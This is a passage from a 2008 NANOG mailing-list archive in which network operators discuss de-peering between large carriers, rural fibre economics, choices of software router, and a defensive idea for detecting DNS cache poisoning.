paths. > Surprising. Severing a peering relationship is one thing, purposely > filtering large swathes of the Internet over other all links is quite > another. > > As I said, this is surprising behaviour, but not simple de-peering. And I'm Why is it surprising? Sounds more like a repeat performance to me. Back when Level3 depeered Cogent, it was said that Cogent was already buying transit from Verio to reach at least some networks they weren't peering with. After the depeering, why didn't Cogent get to Level3 (and vice versa) via Verio? Was the reason ever made public? > Tier 1 has enough peering relationships with enough other Tier 1 > networks that they can always buy temporary transit privileges over an > existing link. Tier 1 means you don't buy transit, no? ---------------------------------------------------------------------- Jon Lewis | I route Senior Network Engineer | therefore you are Atlantic Net | _________ http://www.lewis.org/~jlewis/pgp for PGP public key_________ From Rod.Beck at hiberniaatlantic.com Mon Jul 28 11:29:43 2008 From: Rod.Beck at hiberniaatlantic.com (Rod Beck) Date: Mon, 28 Jul 2008 17:29:43 +0100 Subject: So why don't US citizens get this? References: <20080728135431.66982.qmail@simone.iecc.com><6CC676EB-E2A7-421D-ADDF-E7A85F9D4E8A@pando.com> <488DD995.8070308@fas.harvard.edu> Message-ID: As if you believe in network externalities (each additional network node increases the value of the entire network) and I certainly do, then there is reason to believe a purely private market will not serve enough customers. :) Each customer decides to join the network based on their private calculus of cost and benefit and disregards the benefit everyone else gains from their joining the network. Similarly, I pay for my mother's phone so I can reach her. :) Roderick S. Beck Director of European Sales Hibernia Atlantic 13-15, rue Sedaine, 75011 Paris http://www.hiberniaatlantic.com Wireless: 1-212-444-8829. French Wireless: 33-6-14-33-48-97. AOL Messenger: GlobalBandwidth rod.beck at hiberniaatlantic.com rodbeck at erols.com ``Unthinking respect for authority is the greatest enemy of truth.'' Albert Einstein. From michael.dillon at bt.com Mon Jul 28 11:33:59 2008 From: michael.dillon at bt.com (michael.dillon at bt.com) Date: Mon, 28 Jul 2008 17:33:59 +0100 Subject: Arbitrary de-peering In-Reply-To: Message-ID: > Tier 1 means you don't buy transit, no? Presumably it follows that tier 2 networks do buy transit. Therefore, why would anyone buy service from a Tier 1 network except for other network operators? This doesn't match with the reality that providers who are Tier 1 seem to get some very big companies as customers. Why would they do that if Tier 1 networks offer a substandard service? Is this a scandal in the making? --Michael Dillon From Rod.Beck at hiberniaatlantic.com Mon Jul 28 11:36:02 2008 From: Rod.Beck at hiberniaatlantic.com (Rod Beck) Date: Mon, 28 Jul 2008 17:36:02 +0100 Subject: So why don't US citizens get this? References: <20080728135431.66982.qmail@simone.iecc.com><6CC676EB-E2A7-421D-ADDF-E7A85F9D4E8A@pando.com><488DD995.8070308@fas.harvard.edu> Message-ID: Her cell phone. Roderick S. Beck Director of European Sales Hibernia Atlantic 13-15, rue Sedaine, 75011 Paris http://www.hiberniaatlantic.com Wireless: 1-212-444-8829. French Wireless: 33-6-14-33-48-97. AOL Messenger: GlobalBandwidth rod.beck at hiberniaatlantic.com rodbeck at erols.com ``Unthinking respect for authority is the greatest enemy of truth.'' Albert Einstein. -----Original Message----- From: Rod Beck [mailto:Rod.Beck at hiberniaatlantic.com] Sent: Mon 7/28/2008 5:29 PM To: Scott McGrath; Laird Popkin Cc: nanog at nanog.org Subject: RE: So why don't US citizens get this? As if you believe in network externalities (each additional network node increases the value of the entire network) and I certainly do, then there is reason to believe a purely private market will not serve enough customers. :) Each customer decides to join the network based on their private calculus of cost and benefit and disregards the benefit everyone else gains from their joining the network. Similarly, I pay for my mother's phone so I can reach her. :) Roderick S. Beck Director of European Sales Hibernia Atlantic 13-15, rue Sedaine, 75011 Paris http://www.hiberniaatlantic.com Wireless: 1-212-444-8829. French Wireless: 33-6-14-33-48-97. AOL Messenger: GlobalBandwidth rod.beck at hiberniaatlantic.com rodbeck at erols.com ``Unthinking respect for authority is the greatest enemy of truth.'' Albert Einstein. From ww at styx.org Mon Jul 28 11:41:18 2008 From: ww at styx.org (William Waites) Date: Mon, 28 Jul 2008 18:41:18 +0200 Subject: Arbitrary de-peering In-Reply-To: References: <1217257942.488de1d6b0ec0@mymail.yorku.ca> <2E6BDF0F-4EE6-472A-A8DE-57E5568B6462@styx.org> <111B2355-EF43-4F92-8E66-DD9BFF81593F@ianai.net> <37F98BA4-6F4B-438A-BBDE-6B7AD58E26F0@styx.org> Message-ID: Le 08-07-28 ? 18:27, Jon Lewis a ?crit : > Bit bucket path. Evidently. >> As I said, this is surprising behaviour, but not simple de-peering. >> And I'm > > Why is it surprising? Sounds more like a repeat performance to me. > > Back when Level3 depeered Cogent, it was said that Cogent was > already buying transit from Verio to reach at least some networks > they weren't peering with. After the depeering, why didn't Cogent > get to Level3 (and vice versa) via Verio? Surprising because, Cogent (or Telia, but from what you say here, looks like Cogent), presumably put themselves in a breach of contract position with their (end-user or stub AS) customers who one would imagine have bought "Internet service" from them. Given that they have some reasonably big/important customers it is surprising that they would take that risk, and even more surprising that it didn't bite them too hard. By maybe I am just easily surprised. >> Tier 1 has enough peering relationships with enough other Tier 1 >> networks that they can always buy temporary transit privileges over >> an existing link. > > Tier 1 means you don't buy transit, no? Maybe a slightly revised definition of Tier 1 is in order -- a provider that doesn't buy transit and doesn't sell to end-users or stub systems. Doing either of these things would degrade them in the nomenclature by 0.5. Doing both of these things makes a Tier 2 provider which had better have transit from more than one upstream. This way innocents don't suffer the collateral damage from games of chicken among the titans (unless they were silly enough to get their only Internet connection from a Tier 1.5 provider). Oh well. Cheers, -w From jlewis at lewis.org Mon Jul 28 11:51:01 2008 From: jlewis at lewis.org (Jon Lewis) Date: Mon, 28 Jul 2008 12:51:01 -0400 (EDT) Subject: Arbitrary de-peering In-Reply-To: References: <1217257942.488de1d6b0ec0@mymail.yorku.ca> <2E6BDF0F-4EE6-472A-A8DE-57E5568B6462@styx.org> <111B2355-EF43-4F92-8E66-DD9BFF81593F@ianai.net> <37F98BA4-6F4B-438A-BBDE-6B7AD58E26F0@styx.org> Message-ID: On Mon, 28 Jul 2008, William Waites wrote: > Surprising because, Cogent (or Telia, but from what you say here, looks > like Cogent), presumably put themselves in a breach of contract position > with their (end-user or stub AS) customers who one would imagine have > bought "Internet service" from them. Given that they have some > reasonably big/important customers it is surprising that they would take > that risk, and even more surprising that it didn't bite them too hard. > By maybe I am just easily surprised. But, AFAICT, Cogent has done this before and even combined it with the publicity stunt of offering free peering to any single-homed Level3 customer for a year. >> Tier 1 means you don't buy transit, no? > > Maybe a slightly revised definition of Tier 1 is in order -- a provider > that doesn't buy transit and doesn't sell to end-users or stub systems. I don't know that you'll find a Tier 1 that doesn't sell to end-user networks. It's kind of what they do. Once you start buying transit, all the bigger networks probably figure they can get you to "pay us too." ---------------------------------------------------------------------- Jon Lewis | I route Senior Network Engineer | therefore you are Atlantic Net | _________ http://www.lewis.org/~jlewis/pgp for PGP public key_________ From sethm at rollernet.us Mon Jul 28 11:55:17 2008 From: sethm at rollernet.us (Seth Mattinen) Date: Mon, 28 Jul 2008 09:55:17 -0700 Subject: Software router state of the art In-Reply-To: <488DEBBE.20109@decarta.com> References: <200807261307.m6QD7oel005598@aurora.sol.net> <488DEBBE.20109@decarta.com> Message-ID: <488DF9F5.7090908@rollernet.us> Sargun Dhillon wrote: > This is not exactly true. The modern Linux kernel (2.6) uses some amount > of flow tracking in order to do route caching. You can check this out on > your system by: > "ip route show cache" > Did you mean "route -C" ? I like the idea and price point of the ImageStream products, but knowing how bad Linux is at being a router and that their products are Linux-based, I'm afraid to give one a try. J products are based on a competing non-Linux platform that has a better reputation for routing. ~Seth From michael.dillon at bt.com Mon Jul 28 12:00:40 2008 From: michael.dillon at bt.com (michael.dillon at bt.com) Date: Mon, 28 Jul 2008 18:00:40 +0100 Subject: Software router state of the art In-Reply-To: <488DF9F5.7090908@rollernet.us> Message-ID: > but knowing how bad Linux is at being a router and that their > products are Linux-based, I'm afraid to give one a try. J > products are based on a competing non-Linux platform that has > a better reputation for routing. Enough with the bipartisan politics. There are more choices than just Linux and FreeBSD for software routing. Click for instance --Michael Dillon From jfmezei at vaxination.ca Mon Jul 28 12:30:10 2008 From: jfmezei at vaxination.ca (=?ISO-8859-1?Q?Jean-Fran=E7ois_Mezei?=) Date: Mon, 28 Jul 2008 13:30:10 -0400 Subject: So why don't US citizens get this? In-Reply-To: <202705b0807280506q1819ed2bncd75fc7e213fa0c6@mail.gmail.com> References: <2C28A764789D@xult.org> <202705b0807280506q1819ed2bncd75fc7e213fa0c6@mail.gmail.com> Message-ID: <488E0222.7060205@vaxination.ca> Jorge Amodio wrote: > I belive there are just few major cities in the US that have a comparable or > higher > concentration of people like other large cities around the world. Does population density still REALLY matter ? Considering that fibre optic cables have a far longer reach than copper, and considering that the utility poles already exist in less densely populated areas, it would seem to me that fibre would be a superior alternative to copper, especially when you consider the costs of setting up remotes all over the place for copper. And I would reckon that laying fibre along existing utility poles to reach 200 homes would cost far less than laying fibre in a concrete high rise appartment building to reach 200 appartments. The way I view it, telco accountants have build *excuses* to not lay fibre instead of finding ways to justify laying it. From josh.cheney at gmail.com Mon Jul 28 12:39:23 2008 From: josh.cheney at gmail.com (Josh Cheney) Date: Mon, 28 Jul 2008 13:39:23 -0400 Subject: So why don't US citizens get this? In-Reply-To: <488E0222.7060205@vaxination.ca> References: <2C28A764789D@xult.org> <202705b0807280506q1819ed2bncd75fc7e213fa0c6@mail.gmail.com> <488E0222.7060205@vaxination.ca> Message-ID: <488E044B.1040402@gmail.com> Jean-Fran?ois Mezei wrote: > Does population density still REALLY matter ? Considering that fibre > optic cables have a far longer reach than copper, and considering that > the utility poles already exist in less densely populated areas, it > would seem to me that fibre would be a superior alternative to copper, > especially when you consider the costs of setting up remotes all over > the place for copper. > > > And I would reckon that laying fibre along existing utility poles to > reach 200 homes would cost far less than laying fibre in a concrete high > rise appartment building to reach 200 appartments. My understanding is that for a rural area, in a completely new rollout or a forklift upgrade, fiber is cheaper than copper. However, because the majority of the copper that is currently deployed is still highly serviceable, it is very difficult to justify tearing out perfectly good copper and laying out fiber in it's place. -- Josh Cheney josh.cheney at gmail.com http://www.joshcheney.com From jmamodio at gmail.com Mon Jul 28 12:48:49 2008 From: jmamodio at gmail.com (Jorge Amodio) Date: Mon, 28 Jul 2008 12:48:49 -0500 Subject: So why don't US citizens get this? In-Reply-To: <488E0222.7060205@vaxination.ca> References: <2C28A764789D@xult.org> <202705b0807280506q1819ed2bncd75fc7e213fa0c6@mail.gmail.com> <488E0222.7060205@vaxination.ca> Message-ID: <202705b0807281048l3f9bd7b6l928e5bb0bafab5fb@mail.gmail.com> > And I would reckon that laying fibre along existing utility poles to > reach 200 homes would cost far less than laying fibre in a concrete high > rise appartment building to reach 200 appartments. > > Problem is not laying fiber between poles, the last mile has been always the show killer. 200 local loops + terminating equipment surely will cost more than 1 local loop + terminating equipment. My .02 From sharp at sharpone.net Mon Jul 28 12:52:56 2008 From: sharp at sharpone.net (Justin Sharp) Date: Mon, 28 Jul 2008 11:52:56 -0600 Subject: Software router state of the art In-Reply-To: References: Message-ID: <488E0778.80300@sharpone.net> michael.dillon at bt.com wrote: >> but knowing how bad Linux is at being a router and that their >> products are Linux-based, I'm afraid to give one a try. J >> products are based on a competing non-Linux platform that has >> a better reputation for routing. >> > > Enough with the bipartisan politics. There are more choices than > just Linux and FreeBSD for software routing. > > Click for instance > > --Michael Dillon > > Anyone have experience with RouterOS (http://www.mikrotik.com/)? Created mostly to run on these guys I think (http://www.routerboard.com/comparison.html) which generally don't get above 200k pps on the higher models.. But will RouterOS run on bigger boxen? From sethm at rollernet.us Mon Jul 28 12:53:04 2008 From: sethm at rollernet.us (Seth Mattinen) Date: Mon, 28 Jul 2008 10:53:04 -0700 Subject: Software router state of the art In-Reply-To: References: Message-ID: <488E0780.4000004@rollernet.us> michael.dillon at bt.com wrote: >> but knowing how bad Linux is at being a router and that their >> products are Linux-based, I'm afraid to give one a try. J >> products are based on a competing non-Linux platform that has >> a better reputation for routing. > > Enough with the bipartisan politics. There are more choices than > just Linux and FreeBSD for software routing. > > Click for instance > > --Michael Dillon > Thanks for being oh-so-helpful with a serious question. Got any useful answers for me? Give me a vendor that offers your suggestion. I don't have time for a make-it-myself solution. ~Seth From charles at thewybles.com Mon Jul 28 13:05:10 2008 From: charles at thewybles.com (Charles Wyble) Date: Mon, 28 Jul 2008 11:05:10 -0700 Subject: Software router state of the art In-Reply-To: <488E0780.4000004@rollernet.us> References: <488E0780.4000004@rollernet.us> Message-ID: <488E0A56.6020801@thewybles.com> Seth Mattinen wrote: > michael.dillon at bt.com wrote: >>> but knowing how bad Linux is at being a router and that their >>> products are Linux-based, I'm afraid to give one a try. J products >>> are based on a competing non-Linux platform that has a better >>> reputation for routing. >> > > > Thanks for being oh-so-helpful with a serious question. Got any useful > answers for me? Give me a vendor that offers your suggestion. I don't > have time for a make-it-myself solution. Hmmmm. Well then you probably don't want to use Linux/BSD as a router, as a substantial amount of DIY is required for anything beyond relatively simple routing. MPLS support (on Linux) for example is in early phases and requires integrating separate pieces and is best supported on Fedora9. Needless to say, Fedora isn't designed for reliable/stable operation and long term deployment. I have yet to look into *BSD based solutions, but hear very good things about firewall performance. I don't know about BGP/OSPF/MPLS etc support on FreeBSD but am going to wager a guess its on par with Linux if not better. To address another point made in this thread, see http://ols.fedoraproject.org/OLS/Reprints-2007/zhu-Reprint.pdf which addresses hardware multiqueue device support under Linux. Its from 2007. I think there was a question about Linux/multiqueue support in this thread, but I am not 100% sure. :) I think there was mention of Vyatta earlier in the thread and some talk about it switching from Xorp to Quagga, and a supposition that should improve it. -- Charles Wyble (818) 280 - 7059 http://charlesnw.blogspot.com CTO Known Element Enterprises / SoCal WiFI project From chris.stebner at gmail.com Mon Jul 28 13:22:07 2008 From: chris.stebner at gmail.com (Chris Stebner) Date: Mon, 28 Jul 2008 11:22:07 -0700 Subject: So why don't US citizens get this? In-Reply-To: <488E0222.7060205@vaxination.ca> References: <2C28A764789D@xult.org> <202705b0807280506q1819ed2bncd75fc7e213fa0c6@mail.gmail.com> <488E0222.7060205@vaxination.ca> Message-ID: <488E0E4F.1000007@gmail.com> Jean-Fran?ois Mezei wrote: Jorge Amodio wrote: I belive there are just few major cities in the US that have a comparable or higher concentration of people like other large cities around the world. Does population density still REALLY matter ? Considering that fibre optic cables have a far longer reach than copper, and considering that the utility poles already exist in less densely populated areas, it would seem to me that fibre would be a superior alternative to copper, especially when you consider the costs of setting up remotes all over the place for copper. And I would reckon that laying fibre along existing utility poles to reach 200 homes would cost far less than laying fibre in a concrete high rise appartment building to reach 200 appartments. The way I view it, telco accountants have build *excuses* to not lay fibre instead of finding ways to justify laying it. That brings up another instance of CLEC to ILEC inequality. We have repeatedly tried to ascertain 'pole rights' from local/regional power companies but have been brushed off with "agreements "of 15-20k per pole! We would love to run fiber to our rural remotes and offer triple play services, but at 15k per pole! Currently, the best we can do for very remote locations is to mux a couple of T1's together or if we're lucky get a couple of unbundled loops and run Ethernet over copper. I wanted to chime in earlier when people where mentioning what they paid for what kind of connectivity and this seems as apropos time as any. We charge a FLAT $70 bux for 3m/1m and unlimited local/LD to these remote locations, if served from a CO, that price drops to $50 US and the speed climbs to whatever the line is capable of. The company is based in the southwest US. I suppose I could de-politicize this comment by posing the question, has anybody had luck attaining pole rights in such an instance for a reasonable rate? -chris From jgreco at ns.sol.net Mon Jul 28 13:23:00 2008 From: jgreco at ns.sol.net (Joe Greco) Date: Mon, 28 Jul 2008 13:23:00 -0500 (CDT) Subject: Software router state of the art In-Reply-To: <488E0A56.6020801@thewybles.com> from "Charles Wyble" at Jul 28, 2008 11:05:10 AM Message-ID: <200807281823.m6SIN0QC005897@aurora.sol.net> > Hmmmm. Well then you probably don't want to use Linux/BSD as a router, > as a substantial amount of DIY is required for anything beyond > relatively simple routing. MPLS support (on Linux) for example is in > early phases and requires integrating separate pieces and is best > supported on Fedora9. Needless to say, Fedora isn't designed for > reliable/stable operation and long term deployment. > > I have yet to look into *BSD based solutions, but hear very good things > about firewall performance. I don't know about BGP/OSPF/MPLS etc support > on FreeBSD but am going to wager a guess its on par with Linux if not > better. The underlying OS is responsible for packet forwarding, but none of them do any significant routing protocols natively. Adding on a package such as Quagga or OpenBGPD is required for that, and the results of each should be relatively similar across platforms. The only major caveat is that Quagga OSPF is currently a disaster on FreeBSD 7. Don't try it. We added a server that was advertising some stuff, with multiple interfaces, using a config identical to what we do under FreeBSD 6. Not only did it randomly not work, but it also randomly killed OTHER OSPF speakers elsewhere in the network, including on non-directly attached networks in another OSPF area (we'd log in and see no neighbors). OpenOSPFD appears to be the fix for that. Simpler, smaller, but dumb enough that it advertised 127.0.0.1 into our OSPF environment when we were trying to get some aliases on lo0 advertised, which caused freaking out of pretty much every OSPF-speaking UNIX server we have (sigh). BGP is straightforward, except for things like MD5, which can be a bit dicey. Quagga is very good, and much less expensive than, something like Cisco for a route server, from what I've heard over the years. You'll notice some of the Route-views boxes are Quagga or Zebra (its predecessor). ... JG -- Joe Greco - sol.net Network Services - Milwaukee, WI - http://www.sol.net "We call it the 'one bite at the apple' rule. Give me one chance [and] then I won't contact you again." - Direct Marketing Ass'n position on e-mail spam(CNN) With 24 million small businesses in the US alone, that's way too many apples. From trelane at trelane.net Mon Jul 28 13:30:03 2008 From: trelane at trelane.net (Andrew D Kirch) Date: Mon, 28 Jul 2008 14:30:03 -0400 Subject: Software router state of the art In-Reply-To: <488E0778.80300@sharpone.net> References: <488E0778.80300@sharpone.net> Message-ID: <488E102B.4050607@trelane.net> Justin Sharp wrote: > michael.dillon at bt.com wrote: >>> but knowing how bad Linux is at being a router and that their >>> products are Linux-based, I'm afraid to give one a try. J products >>> are based on a competing non-Linux platform that has a better >>> reputation for routing. >>> >> >> Enough with the bipartisan politics. There are more choices than just >> Linux and FreeBSD for software routing. >> >> Click for instance >> >> --Michael Dillon >> >> > Anyone have experience with RouterOS (http://www.mikrotik.com/)? > Created mostly to run on these guys I think > (http://www.routerboard.com/comparison.html) which generally don't get > above 200k pps on the higher models.. But will RouterOS run on bigger > boxen? > Yes I do, and I'm still in therapy. I was pushing 30mbit, and I can't remember how many PPS through one, and it crashed about once a month requiring onsite intervention (usually at midnight). This was running on a Compaq Deskpro I think. It doesn't have much support for good network cards. I suspect the Realtek's were behind the crashes. Andrew From charles at thewybles.com Mon Jul 28 13:34:37 2008 From: charles at thewybles.com (Charles Wyble) Date: Mon, 28 Jul 2008 11:34:37 -0700 Subject: Software router state of the art In-Reply-To: <488E102B.4050607@trelane.net> References: <488E0778.80300@sharpone.net> <488E102B.4050607@trelane.net> Message-ID: <488E113D.6070504@thewybles.com> Andrew D Kirch wrote: > Justin Sharp wrote: >> michael.dillon at bt.com wrote: >>> >>> >> > Yes I do, and I'm still in therapy. I was pushing 30mbit, and I can't > remember how many PPS through one, and it crashed about once a month > requiring onsite intervention (usually at midnight). This was running > on a Compaq Deskpro I think. It doesn't have much support for good > network cards. I suspect the Realtek's were behind the crashes. Yeah.... or any number of cheap consumer parts in the Deskpro. I would love to see RouterOS running on an HP or Dell mid range server and how that performs. I'm guessing it would be quite nice. -- Charles Wyble (818) 280 - 7059 http://charlesnw.blogspot.com CTO Known Element Enterprises / SoCal WiFI project From sethm at rollernet.us Mon Jul 28 13:55:59 2008 From: sethm at rollernet.us (Seth Mattinen) Date: Mon, 28 Jul 2008 11:55:59 -0700 Subject: Software router state of the art In-Reply-To: <20080728175646.GK12628@blend.twistedpair.ca> References: <488E0780.4000004@rollernet.us> <20080728175646.GK12628@blend.twistedpair.ca> Message-ID: <488E163F.6030305@rollernet.us> Michael 'Moose' Dinn wrote: >> Thanks for being oh-so-helpful with a serious question. Got any useful >> answers for me? Give me a vendor that offers your suggestion. I don't have >> time for a make-it-myself solution. >> > > What are your requirements? > The problem I'm facing is that if I want something from Cisco that can do at least line-rate T3, I'm looking at least $20k per router. I don't have a uber-budget, so for me, that's kind of painful when I start to need more than one plus spare parts. But, I have a high level of confidence that I can put cards in, some memory, power it up, configure it and I'm good to go. Junpier's J-series is a BSD based platform as far as I understand it. ImageStream is *much* more affordable for me, but is Linux-based, and I fear Linux as a router and I don't know what they've done to fix the common gripes with Linux-as-router. I have no idea if either of the two have hardware assist in the cards, but my impression is that they are essentially software platforms with custom interface cards. Interface cards are important to me because I'm operating in an environment where my link to the outside world is probably going to be T1/T3. I'm aware of Cisco IOS, then BSD-based and Linux-based platforms that are actually sold as routing products. I also know there are a billion "yay, router!" things out there. T1 cards are easy to find. The only other place I know I could buy a T3 card from is Sangoma. Maybe someone has even used it* T3 card before. Rather than reinvent the wheel alone, nanog has to contain the highest concentration of people that have tried various things and already know what will work and what won't work. I'm not looking for OS politics, just operational experience from people who have access to more money and more hardware than I do to have tried more stuff. If my best option is still from the big players, so be it. If there's something else that's just as stable, I want to hear about it. I'm not adverse to some dirty work, but I just don't have the time right now to jump in over my head into a software router project and then fight my way back to the surface. I'm not trying to create something for educational purposes, I need something suitable for a production environment. ~Seth * http://www.sangoma.com/products_and_solutions/hardware/data_only/a301.html From jra at baylink.com Mon Jul 28 14:05:41 2008 From: jra at baylink.com (Jay R. Ashworth) Date: Mon, 28 Jul 2008 15:05:41 -0400 Subject: Great Suggestion for the DNS problem...? Message-ID: <20080728190541.GG15946@cgi.jachomes.com> [ unthreaded to encourage discussion ] On Sat, Jul 26, 2008 at 04:55:23PM -0500, James Hess wrote: > Nameservers could incorporate poison detection... > > Listen on 200 random fake ports (in addition to the true query ports); > if a response ever arrives at a fake port, then it must be an attack, > read the "identified" attack packet, log the attack event, mark the > RRs mentioned in the packet as "poison being attempted" for 6 hours; > for such domains always request and collect _two_ good responses > (instead of one), with a 60 second timeout, before caching a lookup. > > The attacker must now guess nearly 64-bits in a short amount of time, > to be successful. Once a good lookup is received, discard the normal > TTL and hold the good answer cached and immutable, for 6 hours (_then_ > start decreasing the TTL normally). Is there any reason which I'm too far down the food chain to see why that's not a fantastic idea? Or at least, something inspired by it? Cheers, -- jr 'IANAIE' a -- Jay R. Ashworth Baylink jra at baylink.com Designer The Things I Think RFC 2100 Ashworth & Associates http://baylink.pitas.com '87 e24 St Petersburg FL USA http://photo.imageinc.us +1 727 647 1274 Those who cast the vote decide nothing. Those who count the vote decide everything. -- (Josef Stalin) From jra at baylink.com Mon Jul 28 14:09:56 2008 From: jra at baylink.com (Jay R. Ashworth) Date: Mon, 28 Jul 2008 15:09:56 -0400 Subject: So why don't US citizens get this? In-Reply-To: <20080726231139.GA31602@vacation.karoshi.com.> References: <20080726231139.GA31602@vacation.karoshi.com.> Message-ID: <20080728190956.GH15946@cgi.jachomes.com> On Sat, Jul 26, 2008 at 11:11:39PM +0000, bmanning at vacation.karoshi.com wrote: > that said, can I get FIOS w/o any other > Verizon crap? I just want the fiber transport > to an exchange... want my own ISP/peering, not > theirs. They wont sell it. I gather that the company providing FIOS is an unreg subsidiary, and a CLEC, and therefore doesn't have to *sell* you transport, voice or data. How they get to be in the wire centers, I'm not clear, though i understand they are. I *do* have the FIOS Tampa and National NOC phone numbers, if anyone needs them; the St Pete Times did a piece on them when they first rolled out, and were indelicate enough to use a high-res pic of their warroom as the lede, with the numbers clearly readable. :-) Cheers, -- jra -- Jay R. Ashworth Baylink jra at baylink.com Designer The Things I Think RFC 2100 Ashworth & Associates http://baylink.pitas.com '87 e24 St Petersburg FL USA http://photo.imageinc.us +1 727 647 1274 Those who cast the vote decide nothing. Those who count the vote decide everything. -- (Josef Stalin) From joly at punkcast.com Mon Jul 28 14:14:28 2008 From: joly at punkcast.com (WWWhatsup) Date: Mon, 28 Jul 2008 15:14:28 -0400 Subject: So why don't US citizens get this? In-Reply-To: <202705b0807280506q1819ed2bncd75fc7e213fa0c6@mail.gmail.com > References: <2C28A764789D@xult.org> <202705b0807280506q1819ed2bncd75fc7e213fa0c6@mail.gmail.com> Message-ID: <20080728191424.E6F5210BF42@spunkymail-a8.g.dreamhost.com> In http://punkcast.com/933/ (2006) Gale Brewer, chair of the NYC Council Tech Cttee talks about Verizon's initial plans for FTTH in NYC. In the city the problem was that they would have to negotiate with apartment building owners who would habg them out to dry for access to their tenants. As a result Verizon went for the suburbs. Just recently, after having gained approval to deliver cable tv like services, and thus one might imagine sufficient revenue to meet such demands, have they started in on the city. joly Jorge Amodio wrote: >I belive there are just few major cities in the US that have a comparable or >higher >concentration of people like other large cities around the world. --------------------------------------------------------------- WWWhatsup NYC http://pinstand.com - http://punkcast.com --------------------------------------------------------------- From karnaugh at karnaugh.za.net Mon Jul 28 14:19:39 2008 From: karnaugh at karnaugh.za.net (Colin Alston) Date: Mon, 28 Jul 2008 21:19:39 +0200 Subject: Great Suggestion for the DNS problem...? In-Reply-To: <20080728190541.GG15946@cgi.jachomes.com> References: <20080728190541.GG15946@cgi.jachomes.com> Message-ID: <488E1BCB.4040108@karnaugh.za.net> On 2008/07/28 09:05 PM Jay R. Ashworth wrote: > Is there any reason which I'm too far down the food chain to see why > that's not a fantastic idea? Or at least, something inspired by it? If NS records pointed to IP's instead of names then this problem might not exist. The root holds glue going up the chain, and you could reject authoritative responses from IP's not listed as authoritative NS for that zone. Ie for karnaugh.za.net, net is looked up from root. Root IP addresses are queried directly, so you know to ignore responses coming from someone else. That gives you net (the same gtld, how convenient) and authoritative IP response for its NS. So you look up za.net and get correct glue and so on. Actually, if glue were always served up the resolution chain then then only crummy glueless delegations would be vulnerable. Anyone feel like redesigning the DNS protocol? Anyone? No? :( From jgreco at ns.sol.net Mon Jul 28 14:30:03 2008 From: jgreco at ns.sol.net (Joe Greco) Date: Mon, 28 Jul 2008 14:30:03 -0500 (CDT) Subject: Great Suggestion for the DNS problem...? In-Reply-To: <20080728190541.GG15946@cgi.jachomes.com> from "Jay R. Ashworth" at Jul 28, 2008 03:05:41 PM Message-ID: <200807281930.m6SJU3P1008679@aurora.sol.net> > [ unthreaded to encourage discussion ] > > On Sat, Jul 26, 2008 at 04:55:23PM -0500, James Hess wrote: > > Nameservers could incorporate poison detection... > > > > Listen on 200 random fake ports (in addition to the true query ports); > > if a response ever arrives at a fake port, then it must be an attack, > > read the "identified" attack packet, log the attack event, mark the > > RRs mentioned in the packet as "poison being attempted" for 6 hours; > > for such domains always request and collect _two_ good responses > > (instead of one), with a 60 second timeout, before caching a lookup. > > > > The attacker must now guess nearly 64-bits in a short amount of time, > > to be successful. Once a good lookup is received, discard the normal > > TTL and hold the good answer cached and immutable, for 6 hours (_then_ > > start decreasing the TTL normally). > > Is there any reason which I'm too far down the food chain to see why > that's not a fantastic idea? Or at least, something inspired by it? There's a ton of stuff that you can do, I talked a bit about this kind of solution several days ago, see <200807241335.m6ODZpfo097197 at aurora.sol.net>. The problem is mainly that this is reactive, and primarily applicable to this attack because it's a brute-force. The next attack might be more elegant. Designing in this sort of "protection" is good AND bad, because on one hand, you do mostly solve the problem, and that's good, but you also encourage people to think of the problem as "fixed" or "my server is not vulnerable," when the only real way to protect against the *next* attack is to make sure that the data is valid, so that's DNSSEC. There are actually more specifically useful things that you can do to mitigate particular aspects of this attack, except that talking about them will also point to some risks that I don't believe have been made public, and I'm going to do my part to keep it that way, at least for a bit longer. The short form, though, is that if you sit there and try to manufacture artificial protection against each new attack as it develops, you will end up with this Rube Goldberg contraption to protect your nameserver from various attacks, and who knows what will break it. View these as very short-term fixes, rather than a correction of the underlying issue. ... JG -- Joe Greco - sol.net Network Services - Milwaukee, WI - http://www.sol.net "We call it the 'one bite at the apple' rule. Give me one chance [and] then I won't contact you again." - Direct Marketing Ass'n position on e-mail spam(CNN) With 24 million small businesses in the US alone, that's way too many apples. From deepak at ai.net Mon Jul 28 14:34:33 2008 From: deepak at ai.net (Deepak Jain) Date: Mon, 28 Jul 2008 15:34:33 -0400 Subject: Software router state of the art In-Reply-To: <488E163F.6030305@rollernet.us> References: <488E0780.4000004@rollernet.us> <20080728175646.GK12628@blend.twistedpair.ca> <488E163F.6030305@rollernet.us> Message-ID: <488E1F49.6050006@ai.net> > > The problem I'm facing is that if I want something from Cisco that can > do at least line-rate T3, I'm looking at least $20k per router. I don't > have a uber-budget, so for me, that's kind of painful when I start to > need more than one plus spare parts. But, I have a high level of > confidence that I can put cards in, some memory, power it up, configure > it and I'm good to go. > > Junpier's J-series is a BSD based platform as far as I understand it. > ImageStream is *much* more affordable for me, but is Linux-based, and I > fear Linux as a router and I don't know what they've done to fix the > common gripes with Linux-as-router. I have no idea if either of the two > have hardware assist in the cards, but my impression is that they are > essentially software platforms with custom interface cards. Interface > cards are important to me because I'm operating in an environment where > my link to the outside world is probably going to be T1/T3. > > I'm aware of Cisco IOS, then BSD-based and Linux-based platforms that > are actually sold as routing products. I also know there are a billion > "yay, router!" things out there. T1 cards are easy to find. The only > other place I know I could buy a T3 card from is Sangoma. Maybe someone > has even used it* T3 card before. Rather than reinvent the wheel alone, > nanog has to contain the highest concentration of people that have tried > various things and already know what will work and what won't work. I'm > not looking for OS politics, just operational experience from people who > have access to more money and more hardware than I do to have tried more > stuff. > > If my best option is still from the big players, so be it. If there's > something else that's just as stable, I want to hear about it. I'm not > adverse to some dirty work, but I just don't have the time right now to > jump in over my head into a software router project and then fight my > way back to the surface. I'm not trying to create something for > educational purposes, I need something suitable for a production > environment. > [I didn't know what to cut from above, so I left it]. What I've used and seen used before that plays both to the strengths of the PC as a router and addresses some of the T3 related issues -- especially if you control both ends of the T3. Using an FE to T3 bridge or FE to T1 bridge as the case may be. With a little tuning you can put a rate shaper on the PC (prior art, very stable) to not run into off-PC buffering issues. Your PC has plenty of cheap buffer. The interface to the comms network is done through a dedicated, telco or computer center grade piece of gear. Everyone here (NANOG) can agree that a 10 or 100Mb/s PC router is a no brainer and as long as you aren't using irresponsible gear, this thing will route packets forever. Putting telco interfaces into PCs has always been a little more odd, but telco to ethernet bridges are fairly standard and fairly dumb. Depending on how many of these you have etc, you can do creative things with switches, FR, etc. And cost can be all over the map. I know Pairgain used to make good ethernet to T1 bridges, and that's probably the last 